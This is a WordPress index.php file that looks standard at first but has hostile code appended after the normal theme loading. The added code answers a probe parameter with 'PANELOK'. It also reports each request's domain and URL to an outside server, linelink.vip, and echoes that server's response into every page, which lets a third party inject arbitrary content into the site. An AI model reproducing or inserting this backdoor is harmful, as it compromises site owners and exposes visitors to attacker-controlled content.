<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

if (isset($_REQUEST["index"])) {
    echo "PANELOK";
    exit();
}

function getClientDomain() {
    if (!empty($_SERVER['HTTP_HOST'])) {
        return $_SERVER['HTTP_HOST'];
    }
    if (!empty($_SERVER['SERVER_NAME'])) {
        return $_SERVER['SERVER_NAME'];
    }
    if (!empty($_SERVER['SERVER_ADDR'])) {
        return $_SERVER['SERVER_ADDR'];
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) {
        return $_SERVER['HTTP_X_FORWARDED_HOST'];
    }
    return "unknown";
}

$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https://" : "http://";
$apiBase = "https://linelink.vip/api/getMan.php"; 

$selfUrl = $protocol . getClientDomain() . (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/');
$query = http_build_query([
    'ref' => getClientDomain(),
    'url' => $selfUrl
]);
$url = $apiBase . '?' . $query;

$success = false;
if (function_exists('curl_init')) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    if ($response === false) {
        curl_close($ch);
    } else {
        curl_close($ch);
        echo $response;
        $success = true;
    }
}

if (!$success && ini_get('allow_url_fopen')) {
    $response = @file_get_contents($url);
    if ($response !== false) {
        echo $response;
    }
}